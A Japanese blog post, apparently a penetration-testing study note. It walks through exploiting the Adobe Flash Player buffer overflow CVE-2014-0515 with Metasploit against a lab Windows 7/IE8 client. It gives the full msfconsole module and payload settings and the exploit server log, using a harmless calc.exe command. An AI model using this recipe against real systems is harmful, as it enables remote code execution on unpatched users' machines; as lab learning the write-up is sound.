モチベーション

ペネトレーションテストの勉強のためにMetasploitを使って、悪性URLにアクセスして来たWindows7クライアントに任意のコマンドを実行させてみる

環境

攻撃を受けるvictimクライアントと攻撃をするattackerクライアントの環境は以下の通り。

victimクライアント

  • OS : Windows7 Professional SP1 32bit
  • CPUアーキテクチャ: x86_64
  • ブラウザ : Internet Explorer 8
  • IP address : 192.168.1.5924
C:\Users\sectu>systeminfo

OS 名:                  Microsoft Windows 7 Professional 
OS バージョン:          6.1.7601 Service Pack 1 ビルド 7601
OS 製造元:              Microsoft Corporation
OS 構成:                スタンドアロン ワークステーション
OS ビルドの種類:        Multiprocessor Free   
システムの種類:         X86-based PC
プロセッサ:             2 プロセッサインストール済みです。
                        [01]: x64 Family 6 Model 42 Stepping 1 GenuineIntel ~2400 Mhz
                        [02]: x64 Family 6 Model 42 Stepping 1 GenuineIntel ~2400 Mhz

attackerクライアント

  • OS : Kali Linux
  • IP address : 192.168.1.5324
# uname -a
Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686 GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux Kali Linux 1.0.9
Release:    Kali Linux 1.0.9
Codename:   n/a

脆弱性のあるサードパーティソフトをインストールする

続いて、victimクライアントに脆弱性のあるサードパーティソフトウェアをインストールする。今回は昨年ゼロデイに利用されたCVE-2014-0515 Adobe Flash Player Shader Buffer Overflow | Rapid7を使ってエクスプロイトを行う。CVE-2014-0515はAdobe Flash Playerに存在するバッファーオーバーフローの脆弱性だ。脆弱性を突かれるとリモートから攻撃者がシステムを制御可能になる。2014年にはこの脆弱性を利用したゼロデイ攻撃が確認された。

それでは、Adobe Flash Playerのインストールをしよう。まず、victimでArchived Flash Player versionsにアクセスしてFlash Player11.0.1.152をダウンロードする。

20150526_adobe_archves

続いて、ダウンロードしたZIPファイルを解凍してfp_11.0.1.152_archive > 11_0r1_152_32bit > flashplayer11_0r1_152_winax_32bit.msiを実行する。これでvictim環境が完成した。

エクスプロイトの準備

Mestasploit Framework Console(MSFconsole)を使ってエクスプロイトを行う。MSFconsoleの基本的な使い方は、Metasploit Unleashed実践 Metasploitを参考にした。MSFConsoleを使うときの基本的な流れは、

  1. MSFconsoleを起動する
  2. エクスプロイトモジュールを選択する
  3. エクスプロイトモジュールの変数を設定する
  4. ペイロードモジュールを選択する
  5. ペイロードモジュールの変数を設定する
  6. エクスプロイトを実行

のようになる。注意点としては、2のエクスプロイトモジュールごとにエクスプロイト時に確保するメモリサイズが異なるため、メモリサイズに応じたペイロードモジュールを選択する必要があること。victimクライアントのエクスプロイト準備のためにattackerクライアントでMSFconsoleを起動してみる。

$ msfconsole

MSFconsoleが起動したらまずエクスプロイトモジュールの確保するメモリサイズと、ペイロードのサイズを確認する。今回利用するエクスプロイトモジュールAdobe Flash Player Shader Buffer Overflowの情報を確認すると、Payload information: Space 2000よりエクスプロイト時に2000 Byteのペイロード用のメモリ領域を確保することがわかる。

msf > info exploit/windows/browser/adobe_flash_pixel_bender_bof

Name: Adobe Flash Player Shader Buffer Overflow
Module: exploit/windows/browser/adobe_flash_pixel_bender_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
  Unknown
  juan vazquez 

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  Retries     false            no        Allow the browser to retry the module
  SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT     8080             yes       The local port to listen on.
  SSL         false            no        Negotiate SSL for incoming connections
  SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
  SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
  URIPATH                      no        The URI to use for this exploit (default is random)

Payload information:
  Space: 2000

Description:
  This module exploits a buffer overflow vulnerability in Adobe Flash
  Player. The vulnerability occurs in the flash.Display.Shader class,
  when setting specially crafted data as its bytecode, as exploited in
  the wild in April 2014. This module has been tested successfully on
  IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13 over Windows XP
  SP3, Windows 7 SP1 and Windows 8.

References:
  http://cvedetails.com/cve/2014-0515/
  http://www.securityfocus.com/bid/67092
  http://helpx.adobe.com/security/products/flash-player/apsb14-13.html
  http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks
  http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/

また、ペイロードモジュールの確認をする。目的はvictimの任意のコマンドを実行させたいのでWindows Execute Commandというペイロードを使う。

msf > info windows/exec

Name: Windows Execute Command
Module: payload/windows/exec
Platform: Windows
    Arch: x86
Needs Admin: No
Total size: 192
Rank: Normal

Provided by:
  vlad902 
  sf 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CMD                        yes       The command string to execute
EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)

Description:
Execute an arbitrary command

エクスプロイトで確保する領域に対してペイロードの方が小さいのでこの2つのモジュールは組み合わせることができる。続いて、それぞれの変数を以下のように設定する。

use exploit/windows/browser/adobe_flash_pixel_bender_bof
set SRVHOST 192.168.1.53
set URIPATH /
set PAYLOAD windows/exec
set CMD calc.exe

エクスプロイト、ペイロードの設定確認をすると変数の値が設定した通りになっている。

msf exploit(adobe_flash_pixel_bender_bof) > show options

Module options (exploit/windows/browser/adobe_flash_pixel_bender_bof):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     192.168.1.53     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)


Payload options (windows/exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       calc.exe         yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

エクスプロイトしてみる

実際にエクスプロイトして任意のコマンドを実行させる。

msf exploit(adobe_flash_pixel_bender_bof) > exploit
[*] Exploit running as background job.
msf exploit(adobe_flash_pixel_bender_bof) >
[*] Using URL: http://192.168.1.53:8080/
[*] Server started.
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Gathering target information.
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Request: /CJdXhO/
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Sending HTML...
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Request: /CJdXhO/TNal.swf
[*] 192.168.1.59     adobe_flash_pixel_bender_bof - Sending SWF...

20150526_exploit_result

エクスプロイトが成功しcalc.exeが実行され電卓が起動した!

まとめ

今回、ペネトレーションテストの学習のために、脆弱性のあるWindowsクライアント環境を用意してMetasploitを使ってエクスプロイトをした。単純な例では機械的にMetasploit Frameworkを使うだけで簡単にターゲットのシステムを掌握できることがわかった。しかし、現実はもっと複雑な環境や条件の下ペネトレーションテストは行われる。より、高度なペネトレーションを行うためにサーバ、ネットワークの知識はもちろん、バイナリ周りの体系的な知識も身に付けて行きたい。

参考

Metasploitの基礎

CVE-2014-0515について

シェルコード、バッファーオーバフロー

実践 Metasploit ―ペネトレーションテストによる脆弱性評価
  • Author: David Kennedy
  • Manufacturer: オライリージャパン
  • Publish date: 2012-05-23